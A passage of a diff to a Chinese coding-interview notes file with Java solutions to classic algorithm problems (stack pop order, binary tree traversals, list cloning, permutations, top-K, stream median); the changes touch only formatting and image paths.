 输入两个整数序列，第一个序列表示栈的压入顺序，请判断第二个序列是否为该栈的弹出顺序。假设压入栈的所有数字均不相等。
 
-例如序列 1,2,3,4,5 是某栈的压入顺序，序列 4,5,3,2,1 是该压栈序列对应的一个弹出序列，但 4,3,5,1,2 就不可能是该压栈序列的弹出序列。
+例如序列 1,2,3,4,5 是某栈的压入顺序，序列 4,5,3,2,1 是该压栈序列对应的一个弹出序列，但 4,3,5,1,2 就不可能是该压栈序列的弹出序列。
 
-## 解题思路
+## 解题思路
 
 使用一个栈来模拟压入弹出操作。
 
 ```java
-public boolean IsPopOrder(int[] pushSequence, int[] popSequence) {
-    int n = pushSequence.length;
-    Stack<Integer> stack = new Stack<>();
-    for (int pushIndex = 0, popIndex = 0; pushIndex < n; pushIndex++) {
-        stack.push(pushSequence[pushIndex]);
-        while (popIndex < n && !stack.isEmpty() 
-                && stack.peek() == popSequence[popIndex]) {
-            stack.pop();
-            popIndex++;
-        }
-    }
-    return stack.isEmpty();
+public boolean IsPopOrder(int[] pushSequence, int[] popSequence) {
+    int n = pushSequence.length;
+    Stack<Integer> stack = new Stack<>();
+    for (int pushIndex = 0, popIndex = 0; pushIndex < n; pushIndex++) {
+        stack.push(pushSequence[pushIndex]);
+        while (popIndex < n && !stack.isEmpty() 
+                && stack.peek() == popSequence[popIndex]) {
+            stack.pop();
+            popIndex++;
+        }
+    }
+    return stack.isEmpty();
 }
 ```
 
-# 32.1 从上往下打印二叉树
+# 32.1 从上往下打印二叉树
 
 [NowCoder](https://www.nowcoder.com/practice/7fe2212963db4790b57431d9ed259701?tpId=13&tqId=11175&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking)
 
-## 题目描述
+## 题目描述
 
 从上往下打印出二叉树的每个节点，同层节点从左至右打印。
 
 例如，以下二叉树层次遍历的结果为：1,2,3,4,5,6,7
 
-<img src="index_files/348bc2db-582e-4aca-9f88-38c40e9a0e69.png" width="250"/>
+<div align="center"> <img src="pics/348bc2db-582e-4aca-9f88-38c40e9a0e69.png" width="250"/> </div><br>
 
-## 解题思路
+## 解题思路
 
 使用队列来进行层次遍历。
 
 不需要使用两个队列分别存储当前层的节点和下一层的节点，因为在开始遍历一层的节点时，当前队列中的节点数就是当前层的节点数，只要控制遍历这么多节点数，就能保证这次遍历的都是当前层的节点。
 
 ```java
-public ArrayList<Integer> PrintFromTopToBottom(TreeNode root) {
-    Queue<TreeNode> queue = new LinkedList<>();
-    ArrayList<Integer> ret = new ArrayList<>();
-    queue.add(root);
-    while (!queue.isEmpty()) {
-        int cnt = queue.size();
-        while (cnt-- > 0) {
-            TreeNode t = queue.poll();
-            if (t == null)
-                continue;
-            ret.add(t.val);
-            queue.add(t.left);
-            queue.add(t.right);
-        }
-    }
-    return ret;
+public ArrayList<Integer> PrintFromTopToBottom(TreeNode root) {
+    Queue<TreeNode> queue = new LinkedList<>();
+    ArrayList<Integer> ret = new ArrayList<>();
+    queue.add(root);
+    while (!queue.isEmpty()) {
+        int cnt = queue.size();
+        while (cnt-- > 0) {
+            TreeNode t = queue.poll();
+            if (t == null)
+                continue;
+            ret.add(t.val);
+            queue.add(t.left);
+            queue.add(t.right);
+        }
+    }
+    return ret;
 }
 ```
 
-# 32.2 把二叉树打印成多行
+# 32.2 把二叉树打印成多行
 
 [NowCoder](https://www.nowcoder.com/practice/445c44d982d04483b04a54f298796288?tpId=13&tqId=11213&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking)
 
-## 题目描述
+## 题目描述
 
 和上题几乎一样。
 
-## 解题思路
+## 解题思路
 
 ```java
-ArrayList<ArrayList<Integer>> Print(TreeNode pRoot) {
-    ArrayList<ArrayList<Integer>> ret = new ArrayList<>();
-    Queue<TreeNode> queue = new LinkedList<>();
-    queue.add(pRoot);
-    while (!queue.isEmpty()) {
-        ArrayList<Integer> list = new ArrayList<>();
-        int cnt = queue.size();
-        while (cnt-- > 0) {
-            TreeNode node = queue.poll();
-            if (node == null)
-                continue;
-            list.add(node.val);
-            queue.add(node.left);
-            queue.add(node.right);
-        }
-        if (list.size() != 0)
-            ret.add(list);
-    }
-    return ret;
+ArrayList<ArrayList<Integer>> Print(TreeNode pRoot) {
+    ArrayList<ArrayList<Integer>> ret = new ArrayList<>();
+    Queue<TreeNode> queue = new LinkedList<>();
+    queue.add(pRoot);
+    while (!queue.isEmpty()) {
+        ArrayList<Integer> list = new ArrayList<>();
+        int cnt = queue.size();
+        while (cnt-- > 0) {
+            TreeNode node = queue.poll();
+            if (node == null)
+                continue;
+            list.add(node.val);
+            queue.add(node.left);
+            queue.add(node.right);
+        }
+        if (list.size() != 0)
+            ret.add(list);
+    }
+    return ret;
 }
 ```
 
-# 32.3 按之字形顺序打印二叉树
+# 32.3 按之字形顺序打印二叉树
 
 [NowCoder](https://www.nowcoder.com/practice/91b69814117f4e8097390d107d2efbe0?tpId=13&tqId=11212&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking)
 
-## 题目描述
+## 题目描述
 
 请实现一个函数按照之字形打印二叉树，即第一行按照从左到右的顺序打印，第二层按照从右至左的顺序打印，第三行按照从左到右的顺序打印，其他行以此类推。
 
-## 解题思路
+## 解题思路
 
 ```java
-public ArrayList<ArrayList<Integer>> Print(TreeNode pRoot) {
-    ArrayList<ArrayList<Integer>> ret = new ArrayList<>();
-    Queue<TreeNode> queue = new LinkedList<>();
-    queue.add(pRoot);
-    boolean reverse = false;
-    while (!queue.isEmpty()) {
-        ArrayList<Integer> list = new ArrayList<>();
-        int cnt = queue.size();
-        while (cnt-- > 0) {
-            TreeNode node = queue.poll();
-            if (node == null)
-                continue;
-            list.add(node.val);
-            queue.add(node.left);
-            queue.add(node.right);
-        }
-        if (reverse)
-            Collections.reverse(list);
-        reverse = !reverse;
-        if (list.size() != 0)
-            ret.add(list);
-    }
-    return ret;
+public ArrayList<ArrayList<Integer>> Print(TreeNode pRoot) {
+    ArrayList<ArrayList<Integer>> ret = new ArrayList<>();
+    Queue<TreeNode> queue = new LinkedList<>();
+    queue.add(pRoot);
+    boolean reverse = false;
+    while (!queue.isEmpty()) {
+        ArrayList<Integer> list = new ArrayList<>();
+        int cnt = queue.size();
+        while (cnt-- > 0) {
+            TreeNode node = queue.poll();
+            if (node == null)
+                continue;
+            list.add(node.val);
+            queue.add(node.left);
+            queue.add(node.right);
+        }
+        if (reverse)
+            Collections.reverse(list);
+        reverse = !reverse;
+        if (list.size() != 0)
+            ret.add(list);
+    }
+    return ret;
 }
 ```
 
-# 33. 二叉搜索树的后序遍历序列
+# 33. 二叉搜索树的后序遍历序列
 
 [NowCoder](https://www.nowcoder.com/practice/a861533d45854474ac791d90e447bafd?tpId=13&tqId=11176&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking)
 
-## 题目描述
+## 题目描述
 
 输入一个整数数组，判断该数组是不是某二叉搜索树的后序遍历的结果。假设输入的数组的任意两个数字都互不相同。
 
-例如，下图是后序遍历序列 1,3,2 所对应的二叉搜索树。
+例如，下图是后序遍历序列 1,3,2 所对应的二叉搜索树。
 
-<img src="index_files/836a4eaf-4798-4e48-b52a-a3dab9435ace.png" width="150"/>
+<div align="center"> <img src="pics/836a4eaf-4798-4e48-b52a-a3dab9435ace.png" width="150"/> </div><br>
 
-## 解题思路
+## 解题思路
 
 ```java
-public boolean VerifySquenceOfBST(int[] sequence) {
-    if (sequence == null || sequence.length == 0)
-        return false;
-    return verify(sequence, 0, sequence.length - 1);
+public boolean VerifySquenceOfBST(int[] sequence) {
+    if (sequence == null || sequence.length == 0)
+        return false;
+    return verify(sequence, 0, sequence.length - 1);
 }
 
-private boolean verify(int[] sequence, int first, int last) {
-    if (last - first <= 1)
-        return true;
-    int rootVal = sequence[last];
-    int cutIndex = first;
-    while (cutIndex < last && sequence[cutIndex] <= rootVal)
-        cutIndex++;
-    for (int i = cutIndex; i < last; i++)
-        if (sequence[i] < rootVal)
-            return false;
-    return verify(sequence, first, cutIndex - 1) && verify(sequence, cutIndex, last - 1);
+private boolean verify(int[] sequence, int first, int last) {
+    if (last - first <= 1)
+        return true;
+    int rootVal = sequence[last];
+    int cutIndex = first;
+    while (cutIndex < last && sequence[cutIndex] <= rootVal)
+        cutIndex++;
+    for (int i = cutIndex; i < last; i++)
+        if (sequence[i] < rootVal)
+            return false;
+    return verify(sequence, first, cutIndex - 1) && verify(sequence, cutIndex, last - 1);
 }
 ```
 
-# 34. 二叉树中和为某一值的路径
+# 34. 二叉树中和为某一值的路径
 
 [NowCoder](https://www.nowcoder.com/practice/b736e784e3e34731af99065031301bca?tpId=13&tqId=11177&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking)
 
-## 题目描述
+## 题目描述
 
 输入一颗二叉树和一个整数，打印出二叉树中结点值的和为输入整数的所有路径。路径定义为从树的根结点开始往下一直到叶结点所经过的结点形成一条路径。
 
-下图的二叉树有两条和为 22 的路径：10, 5, 7 和 10, 12
+下图的二叉树有两条和为 22 的路径：10, 5, 7 和 10, 12
 
-<img src="index_files/f5477abd-c246-4851-89ab-6b1cde2549b1.png" width="200"/>
+<div align="center"> <img src="pics/f5477abd-c246-4851-89ab-6b1cde2549b1.png" width="200"/> </div><br>
 
-## 解题思路
+## 解题思路
 
 ```java
-private ArrayList<ArrayList<Integer>> ret = new ArrayList<>();
+private ArrayList<ArrayList<Integer>> ret = new ArrayList<>();
 
-public ArrayList<ArrayList<Integer>> FindPath(TreeNode root, int target) {
-    backtracking(root, target, new ArrayList<>());
-    return ret;
+public ArrayList<ArrayList<Integer>> FindPath(TreeNode root, int target) {
+    backtracking(root, target, new ArrayList<>());
+    return ret;
 }
 
-private void backtracking(TreeNode node, int target, ArrayList<Integer> path) {
-    if (node == null)
-        return;
-    path.add(node.val);
-    target -= node.val;
-    if (target == 0 && node.left == null && node.right == null) {
-        ret.add(new ArrayList<>(path));
-    } else {
-        backtracking(node.left, target, path);
-        backtracking(node.right, target, path);
-    }
-    path.remove(path.size() - 1);
+private void backtracking(TreeNode node, int target, ArrayList<Integer> path) {
+    if (node == null)
+        return;
+    path.add(node.val);
+    target -= node.val;
+    if (target == 0 && node.left == null && node.right == null) {
+        ret.add(new ArrayList<>(path));
+    } else {
+        backtracking(node.left, target, path);
+        backtracking(node.right, target, path);
+    }
+    path.remove(path.size() - 1);
 }
 ```
 
-# 35. 复杂链表的复制
+# 35. 复杂链表的复制
 
 [NowCoder](https://www.nowcoder.com/practice/f836b2c43afc4b35ad6adc41ec941dba?tpId=13&tqId=11178&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking)
 
-## 题目描述
+## 题目描述
 
-输入一个复杂链表（每个节点中有节点值，以及两个指针，一个指向下一个节点，另一个特殊指针指向任意一个节点），返回结果为复制后复杂链表的 head。
+输入一个复杂链表（每个节点中有节点值，以及两个指针，一个指向下一个节点，另一个特殊指针指向任意一个节点），返回结果为复制后复杂链表的 head。
 
 ```java
-public class RandomListNode {
-    int label;
-    RandomListNode next = null;
-    RandomListNode random = null;
+public class RandomListNode {
+    int label;
+    RandomListNode next = null;
+    RandomListNode random = null;
 
-    RandomListNode(int label) {
-        this.label = label;
-    }
+    RandomListNode(int label) {
+        this.label = label;
+    }
 }
 ```
 
-<img src="index_files/a01d1516-8168-461a-a24b-620b9cfc40f4.png" width="300"/>
+<div align="center"> <img src="pics/a01d1516-8168-461a-a24b-620b9cfc40f4.png" width="300"/> </div><br>
 
-## 解题思路
+## 解题思路
 
 第一步，在每个节点的后面插入复制的节点。
 
-<img src="index_files/2e6c72f5-3b8e-4e32-b87b-9491322628fe.png" width="600"/>
+<div align="center"> <img src="pics/2e6c72f5-3b8e-4e32-b87b-9491322628fe.png" width="600"/> </div><br>
 
-第二步，对复制节点的 random 链接进行赋值。
+第二步，对复制节点的 random 链接进行赋值。
 
-<img src="index_files/323ffd6c-8b54-4f3e-b361-555a6c8bf218.png" width="600"/>
+<div align="center"> <img src="pics/323ffd6c-8b54-4f3e-b361-555a6c8bf218.png" width="600"/> </div><br>
 
 第三步，拆分。
 
-<img src="index_files/8f3b9519-d705-48fe-87ad-2e4052fc81d2.png" width="600"/>
+<div align="center"> <img src="pics/8f3b9519-d705-48fe-87ad-2e4052fc81d2.png" width="600"/> </div><br>
 
 ```java
-public RandomListNode Clone(RandomListNode pHead) {
-    if (pHead == null)
-        return null;
-    // 插入新节点
-    RandomListNode cur = pHead;
-    while (cur != null) {
-        RandomListNode clone = new RandomListNode(cur.label);
-        clone.next = cur.next;
-        cur.next = clone;
-        cur = clone.next;
-    }
-    // 建立 random 链接
-    cur = pHead;
-    while (cur != null) {
-        RandomListNode clone = cur.next;
-        if (cur.random != null)
-            clone.random = cur.random.next;
-        cur = clone.next;
-    }
-    // 拆分
-    cur = pHead;
-    RandomListNode pCloneHead = pHead.next;
-    while (cur.next != null) {
-        RandomListNode next = cur.next;
-        cur.next = next.next;
-        cur = next;
-    }
-    return pCloneHead;
+public RandomListNode Clone(RandomListNode pHead) {
+    if (pHead == null)
+        return null;
+    // 插入新节点
+    RandomListNode cur = pHead;
+    while (cur != null) {
+        RandomListNode clone = new RandomListNode(cur.label);
+        clone.next = cur.next;
+        cur.next = clone;
+        cur = clone.next;
+    }
+    // 建立 random 链接
+    cur = pHead;
+    while (cur != null) {
+        RandomListNode clone = cur.next;
+        if (cur.random != null)
+            clone.random = cur.random.next;
+        cur = clone.next;
+    }
+    // 拆分
+    cur = pHead;
+    RandomListNode pCloneHead = pHead.next;
+    while (cur.next != null) {
+        RandomListNode next = cur.next;
+        cur.next = next.next;
+        cur = next;
+    }
+    return pCloneHead;
 }
 ```
 
-# 36. 二叉搜索树与双向链表
+# 36. 二叉搜索树与双向链表
 
 [NowCoder](https://www.nowcoder.com/practice/947f6eb80d944a84850b0538bf0ec3a5?tpId=13&tqId=11179&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking)
 
-## 题目描述
+## 题目描述
 
 输入一棵二叉搜索树，将该二叉搜索树转换成一个排序的双向链表。要求不能创建任何新的结点，只能调整树中结点指针的指向。
 
-<img src="index_files/79b12431-6d9d-4a7d-985b-1b79bc5bf5fb.png" width="400"/>
+<div align="center"> <img src="pics/79b12431-6d9d-4a7d-985b-1b79bc5bf5fb.png" width="400"/> </div><br>
 
-## 解题思路
+## 解题思路
 
 ```java
-private TreeNode pre = null;
-private TreeNode head = null;
+private TreeNode pre = null;
+private TreeNode head = null;
 
-public TreeNode Convert(TreeNode root) {
-    inOrder(root);
-    return head;
+public TreeNode Convert(TreeNode root) {
+    inOrder(root);
+    return head;
 }
 
-private void inOrder(TreeNode node) {
-    if (node == null)
-        return;
-    inOrder(node.left);
-    node.left = pre;
-    if (pre != null)
-        pre.right = node;
-    pre = node;
-    if (head == null)
-        head = node;
-    inOrder(node.right);
+private void inOrder(TreeNode node) {
+    if (node == null)
+        return;
+    inOrder(node.left);
+    node.left = pre;
+    if (pre != null)
+        pre.right = node;
+    pre = node;
+    if (head == null)
+        head = node;
+    inOrder(node.right);
 }
 ```
 
-# 37. 序列化二叉树
+# 37. 序列化二叉树
 
 [NowCoder](https://www.nowcoder.com/practice/cf7e25aa97c04cc1a68c8f040e71fb84?tpId=13&tqId=11214&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking)
 
-## 题目描述
+## 题目描述
 
 请实现两个函数，分别用来序列化和反序列化二叉树。
 
-## 解题思路
+## 解题思路
 
 ```java
-private String deserializeStr;
+private String deserializeStr;
 
-public String Serialize(TreeNode root) {
-    if (root == null)
-        return "#";
-    return root.val + " " + Serialize(root.left) + " " + Serialize(root.right);
+public String Serialize(TreeNode root) {
+    if (root == null)
+        return "#";
+    return root.val + " " + Serialize(root.left) + " " + Serialize(root.right);
 }
 
-public TreeNode Deserialize(String str) {
-    deserializeStr = str;
-    return Deserialize();
+public TreeNode Deserialize(String str) {
+    deserializeStr = str;
+    return Deserialize();
 }
 
-private TreeNode Deserialize() {
-    if (deserializeStr.length() == 0)
-        return null;
-    int index = deserializeStr.indexOf(" ");
-    String node = index == -1 ? deserializeStr : deserializeStr.substring(0, index);
-    deserializeStr = index == -1 ? "" : deserializeStr.substring(index + 1);
-    if (node.equals("#"))
-        return null;
-    int val = Integer.valueOf(node);
-    TreeNode t = new TreeNode(val);
-    t.left = Deserialize();
-    t.right = Deserialize();
-    return t;
+private TreeNode Deserialize() {
+    if (deserializeStr.length() == 0)
+        return null;
+    int index = deserializeStr.indexOf(" ");
+    String node = index == -1 ? deserializeStr : deserializeStr.substring(0, index);
+    deserializeStr = index == -1 ? "" : deserializeStr.substring(index + 1);
+    if (node.equals("#"))
+        return null;
+    int val = Integer.valueOf(node);
+    TreeNode t = new TreeNode(val);
+    t.left = Deserialize();
+    t.right = Deserialize();
+    return t;
 }
 ```
 
-# 38. 字符串的排列
+# 38. 字符串的排列
 
 [NowCoder](https://www.nowcoder.com/practice/fe6b651b66ae47d7acce78ffdd9a96c7?tpId=13&tqId=11180&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking)
 
-## 题目描述
+## 题目描述
 
-输入一个字符串，按字典序打印出该字符串中字符的所有排列。例如输入字符串 abc，则打印出由字符 a, b, c 所能排列出来的所有字符串 abc, acb, bac, bca, cab 和 cba。
+输入一个字符串，按字典序打印出该字符串中字符的所有排列。例如输入字符串 abc，则打印出由字符 a, b, c 所能排列出来的所有字符串 abc, acb, bac, bca, cab 和 cba。
 
-## 解题思路
+## 解题思路
 
 ```java
-private ArrayList<String> ret = new ArrayList<>();
+private ArrayList<String> ret = new ArrayList<>();
 
-public ArrayList<String> Permutation(String str) {
-    if (str.length() == 0)
-        return ret;
-    char[] chars = str.toCharArray();
-    Arrays.sort(chars);
-    backtracking(chars, new boolean[chars.length], new StringBuilder());
-    return ret;
+public ArrayList<String> Permutation(String str) {
+    if (str.length() == 0)
+        return ret;
+    char[] chars = str.toCharArray();
+    Arrays.sort(chars);
+    backtracking(chars, new boolean[chars.length], new StringBuilder());
+    return ret;
 }
 
-private void backtracking(char[] chars, boolean[] hasUsed, StringBuilder s) {
-    if (s.length() == chars.length) {
-        ret.add(s.toString());
-        return;
-    }
-    for (int i = 0; i < chars.length; i++) {
-        if (hasUsed[i])
-            continue;
-        if (i != 0 && chars[i] == chars[i - 1] && !hasUsed[i - 1]) /* 保证不重复 */
-            continue;
-        hasUsed[i] = true;
-        s.append(chars[i]);
-        backtracking(chars, hasUsed, s);
-        s.deleteCharAt(s.length() - 1);
-        hasUsed[i] = false;
-    }
+private void backtracking(char[] chars, boolean[] hasUsed, StringBuilder s) {
+    if (s.length() == chars.length) {
+        ret.add(s.toString());
+        return;
+    }
+    for (int i = 0; i < chars.length; i++) {
+        if (hasUsed[i])
+            continue;
+        if (i != 0 && chars[i] == chars[i - 1] && !hasUsed[i - 1]) /* 保证不重复 */
+            continue;
+        hasUsed[i] = true;
+        s.append(chars[i]);
+        backtracking(chars, hasUsed, s);
+        s.deleteCharAt(s.length() - 1);
+        hasUsed[i] = false;
+    }
 }
 ```
 
-# 39. 数组中出现次数超过一半的数字
+# 39. 数组中出现次数超过一半的数字
 
 [NowCoder](https://www.nowcoder.com/practice/e8a1b01a2df14cb2b228b30ee6a92163?tpId=13&tqId=11181&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking)
 
-## 解题思路
+## 解题思路
 
-多数投票问题，可以利用 Boyer-Moore Majority Vote Algorithm 来解决这个问题，使得时间复杂度为 O(N)。
+多数投票问题，可以利用 Boyer-Moore Majority Vote Algorithm 来解决这个问题，使得时间复杂度为 O(N)。
 
-使用 cnt 来统计一个元素出现的次数，当遍历到的元素和统计元素相等时，令 cnt++，否则令 cnt--。如果前面查找了 i 个元素，且 cnt == 0，说明前 i 个元素没有 majority，或者有 majority，但是出现的次数少于 i / 2 ，因为如果多于 i / 2 的话 cnt 就一定不会为 0 。此时剩下的 n - i 个元素中，majority 的数目依然多于 (n - i) / 2，因此继续查找就能找出 majority。
+使用 cnt 来统计一个元素出现的次数，当遍历到的元素和统计元素相等时，令 cnt++，否则令 cnt--。如果前面查找了 i 个元素，且 cnt == 0，说明前 i 个元素没有 majority，或者有 majority，但是出现的次数少于 i / 2 ，因为如果多于 i / 2 的话 cnt 就一定不会为 0 。此时剩下的 n - i 个元素中，majority 的数目依然多于 (n - i) / 2，因此继续查找就能找出 majority。
 
 ```java
-public int MoreThanHalfNum_Solution(int[] nums) {
-    int majority = nums[0];
-    for (int i = 1, cnt = 1; i < nums.length; i++) {
-        cnt = nums[i] == majority ? cnt + 1 : cnt - 1;
-        if (cnt == 0) {
-            majority = nums[i];
-            cnt = 1;
-        }
-    }
-    int cnt = 0;
-    for (int val : nums)
-        if (val == majority)
-            cnt++;
-    return cnt > nums.length / 2 ? majority : 0;
+public int MoreThanHalfNum_Solution(int[] nums) {
+    int majority = nums[0];
+    for (int i = 1, cnt = 1; i < nums.length; i++) {
+        cnt = nums[i] == majority ? cnt + 1 : cnt - 1;
+        if (cnt == 0) {
+            majority = nums[i];
+            cnt = 1;
+        }
+    }
+    int cnt = 0;
+    for (int val : nums)
+        if (val == majority)
+            cnt++;
+    return cnt > nums.length / 2 ? majority : 0;
 }
 ```
 
-# 40. 最小的 K 个数
+# 40. 最小的 K 个数
 
 [NowCoder](https://www.nowcoder.com/practice/6a296eb82cf844ca8539b57c23e6e9bf?tpId=13&tqId=11182&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking)
 
-## 解题思路
+## 解题思路
 
-### 快速选择
+### 快速选择
 
-- 复杂度：O(N) + O(1)
-- 只有当允许修改数组元素时才可以使用
+- 复杂度：O(N) + O(1)
+- 只有当允许修改数组元素时才可以使用
 
-快速排序的 partition() 方法，会返回一个整数 j 使得 a[l..j-1] 小于等于 a[j]，且 a[j+1..h] 大于等于 a[j]，此时 a[j] 就是数组的第 j 大元素。可以利用这个特性找出数组的第 K 个元素，这种找第 K 个元素的算法称为快速选择算法。
+快速排序的 partition() 方法，会返回一个整数 j 使得 a[l..j-1] 小于等于 a[j]，且 a[j+1..h] 大于等于 a[j]，此时 a[j] 就是数组的第 j 大元素。可以利用这个特性找出数组的第 K 个元素，这种找第 K 个元素的算法称为快速选择算法。
 
 ```java
-public ArrayList<Integer> GetLeastNumbers_Solution(int[] nums, int k) {
-    ArrayList<Integer> ret = new ArrayList<>();
-    if (k > nums.length || k <= 0)
-        return ret;
-    findKthSmallest(nums, k - 1);
-    /* findKthSmallest 会改变数组，使得前 k 个数都是最小的 k 个数 */
-    for (int i = 0; i < k; i++)
-        ret.add(nums[i]);
-    return ret;
+public ArrayList<Integer> GetLeastNumbers_Solution(int[] nums, int k) {
+    ArrayList<Integer> ret = new ArrayList<>();
+    if (k > nums.length || k <= 0)
+        return ret;
+    findKthSmallest(nums, k - 1);
+    /* findKthSmallest 会改变数组，使得前 k 个数都是最小的 k 个数 */
+    for (int i = 0; i < k; i++)
+        ret.add(nums[i]);
+    return ret;
 }
 
-public void findKthSmallest(int[] nums, int k) {
-    int l = 0, h = nums.length - 1;
-    while (l < h) {
-        int j = partition(nums, l, h);
-        if (j == k)
-            break;
-        if (j > k)
-            h = j - 1;
-        else
-            l = j + 1;
-    }
+public void findKthSmallest(int[] nums, int k) {
+    int l = 0, h = nums.length - 1;
+    while (l < h) {
+        int j = partition(nums, l, h);
+        if (j == k)
+            break;
+        if (j > k)
+            h = j - 1;
+        else
+            l = j + 1;
+    }
 }
 
-private int partition(int[] nums, int l, int h) {
-    int p = nums[l];     /* 切分元素 */
-    int i = l, j = h + 1;
-    while (true) {
-        while (i != h && nums[++i] < p) ;
-        while (j != l && nums[--j] > p) ;
-        if (i >= j)
-            break;
-        swap(nums, i, j);
-    }
-    swap(nums, l, j);
-    return j;
+private int partition(int[] nums, int l, int h) {
+    int p = nums[l];     /* 切分元素 */
+    int i = l, j = h + 1;
+    while (true) {
+        while (i != h && nums[++i] < p) ;
+        while (j != l && nums[--j] > p) ;
+        if (i >= j)
+            break;
+        swap(nums, i, j);
+    }
+    swap(nums, l, j);
+    return j;
 }
 
-private void swap(int[] nums, int i, int j) {
-    int t = nums[i];
-    nums[i] = nums[j];
-    nums[j] = t;
+private void swap(int[] nums, int i, int j) {
+    int t = nums[i];
+    nums[i] = nums[j];
+    nums[j] = t;
 }
 ```
 
-### 大小为 K 的最小堆
+### 大小为 K 的最小堆
 
-- 复杂度：O(NlogK) + O(K)
-- 特别适合处理海量数据
+- 复杂度：O(NlogK) + O(K)
+- 特别适合处理海量数据
 
 应该使用大顶堆来维护最小堆，而不能直接创建一个小顶堆并设置一个大小，企图让小顶堆中的元素都是最小元素。
 
-维护一个大小为 K 的最小堆过程如下：在添加一个元素之后，如果大顶堆的大小大于 K，那么需要将大顶堆的堆顶元素去除。
+维护一个大小为 K 的最小堆过程如下：在添加一个元素之后，如果大顶堆的大小大于 K，那么需要将大顶堆的堆顶元素去除。
 
 ```java
-public ArrayList<Integer> GetLeastNumbers_Solution(int[] nums, int k) {
-    if (k > nums.length || k <= 0)
-        return new ArrayList<>();
-    PriorityQueue<Integer> maxHeap = new PriorityQueue<>((o1, o2) -> o2 - o1);
-    for (int num : nums) {
-        maxHeap.add(num);
-        if (maxHeap.size() > k)
-            maxHeap.poll();
-    }
-    return new ArrayList<>(maxHeap);
+public ArrayList<Integer> GetLeastNumbers_Solution(int[] nums, int k) {
+    if (k > nums.length || k <= 0)
+        return new ArrayList<>();
+    PriorityQueue<Integer> maxHeap = new PriorityQueue<>((o1, o2) -> o2 - o1);
+    for (int num : nums) {
+        maxHeap.add(num);
+        if (maxHeap.size() > k)
+            maxHeap.poll();
+    }
+    return new ArrayList<>(maxHeap);
 }
 ```
 
-# 41.1 数据流中的中位数
+# 41.1 数据流中的中位数
 
 [NowCoder](https://www.nowcoder.com/practice/9be0172896bd43948f8a32fb954e1be1?tpId=13&tqId=11216&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking)
 
-## 题目描述
+## 题目描述
 
 如何得到一个数据流中的中位数？如果从数据流中读出奇数个数值，那么中位数就是所有数值排序之后位于中间的数值。如果从数据流中读出偶数个数值，那么中位数就是所有数值排序之后中间两个数的平均值。
 
-## 解题思路
+## 解题思路
 
 ```java
-/* 大顶堆，存储左半边元素 */
-private PriorityQueue<Integer> left = new PriorityQueue<>((o1, o2) -> o2 - o1);
-/* 小顶堆，存储右半边元素，并且右半边元素都大于左半边 */
-private PriorityQueue<Integer> right = new PriorityQueue<>();
-/* 当前数据流读入的元素个数 */
-private int N = 0;
+/* 大顶堆，存储左半边元素 */
+private PriorityQueue<Integer> left = new PriorityQueue<>((o1, o2) -> o2 - o1);
+/* 小顶堆，存储右半边元素，并且右半边元素都大于左半边 */
+private PriorityQueue<Integer> right = new PriorityQueue<>();
+/* 当前数据流读入的元素个数 */
+private int N = 0;
 
-public void Insert(Integer val) {
-    /* 插入要保证两个堆存于平衡状态 */
-    if (N % 2 == 0) {
-        /* N 为偶数的情况下插入到右半边。
-         * 因为右半边元素都要大于左半边，但是新插入的元素不一定比左半边元素来的大，
-         * 因此需要先将元素插入左半边，然后利用左半边为大顶堆的特点，取出堆顶元素即为最大元素，此时插入右半边 */
-        left.add(val);
-        right.add(left.poll());
-    } else {
-        right.add(val);
-        left.add(right.poll());
-    }
-    N++;
+public void Insert(Integer val) {
+    /* 插入要保证两个堆存于平衡状态 */
+    if (N % 2 == 0) {
+        /* N 为偶数的情况下插入到右半边。
+         * 因为右半边元素都要大于左半边，但是新插入的元素不一定比左半边元素来的大，
+         * 因此需要先将元素插入左半边，然后利用左半边为大顶堆的特点，取出堆顶元素即为最大元素，此时插入右半边 */
+        left.add(val);
+        right.add(left.poll());
+    } else {
+        right.add(val);
+        left.add(right.poll());
+    }
+    N++;
 }
 
-public Double GetMedian() {
-    if (N % 2 == 0)
-        return (left.peek() + right.peek()) / 2.0;
-    else
-        return (double) right.peek();
+public Double GetMedian() {
+    if (N % 2 == 0)
+        return (left.peek() + right.peek()) / 2.0;
+    else
+        return (double) right.peek();
 }
 ```
 
-# 41.2 字符流中第一个不重复的字符
+# 41.2 字符流中第一个不重复的字符
 
 [NowCoder](https://www.nowcoder.com/practice/00de97733b8e4f97a3fb5c680ee10720?tpId=13&tqId=11207&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking)
 
-## 题目描述
+## 题目描述
 
-请实现一个函数用来找出字符流中第一个只出现一次的字符。例如，当从字符流中只读出前两个字符 "go" 时，第一个只出现一次的字符是 "g"。当从该字符流中读出前六个字符“google" 时，第一个只出现一次的字符是 "l"。
+请实现一个函数用来找出字符流中第一个只出现一次的字符。例如，当从字符流中只读出前两个字符 "go" 时，第一个只出现一次的字符是 "g"。当从该字符流中读出前六个字符“google" 时，第一个只出现一次的字符是 "l"。
 
-## 解题思路
+## 解题思路
 
 ```java
-private int[] cnts = new int[256];
-private Queue<Character> queue = new LinkedList<>();
+private int[] cnts = new int[256];
+private Queue<Character> queue = new LinkedList<>();
 
-public void Insert(char ch) {
-    cnts[ch]++;
-    queue.add(ch);
-    while (!queue.isEmpty() && cnts[queue.peek()] > 1)
-        queue.poll();
+public void Insert(char ch) {
+    cnts[ch]++;
+    queue.add(ch);
+    while (!queue.isEmpty() && cnts[queue.peek()] > 1)
+        queue.poll();
 }
 
-public char FirstAppearingOnce() {
-    return queue.isEmpty() ? '#' : queue.peek();
+public char FirstAppearingOnce() {
+    return queue.isEmpty() ? '#' : queue.peek();
 }
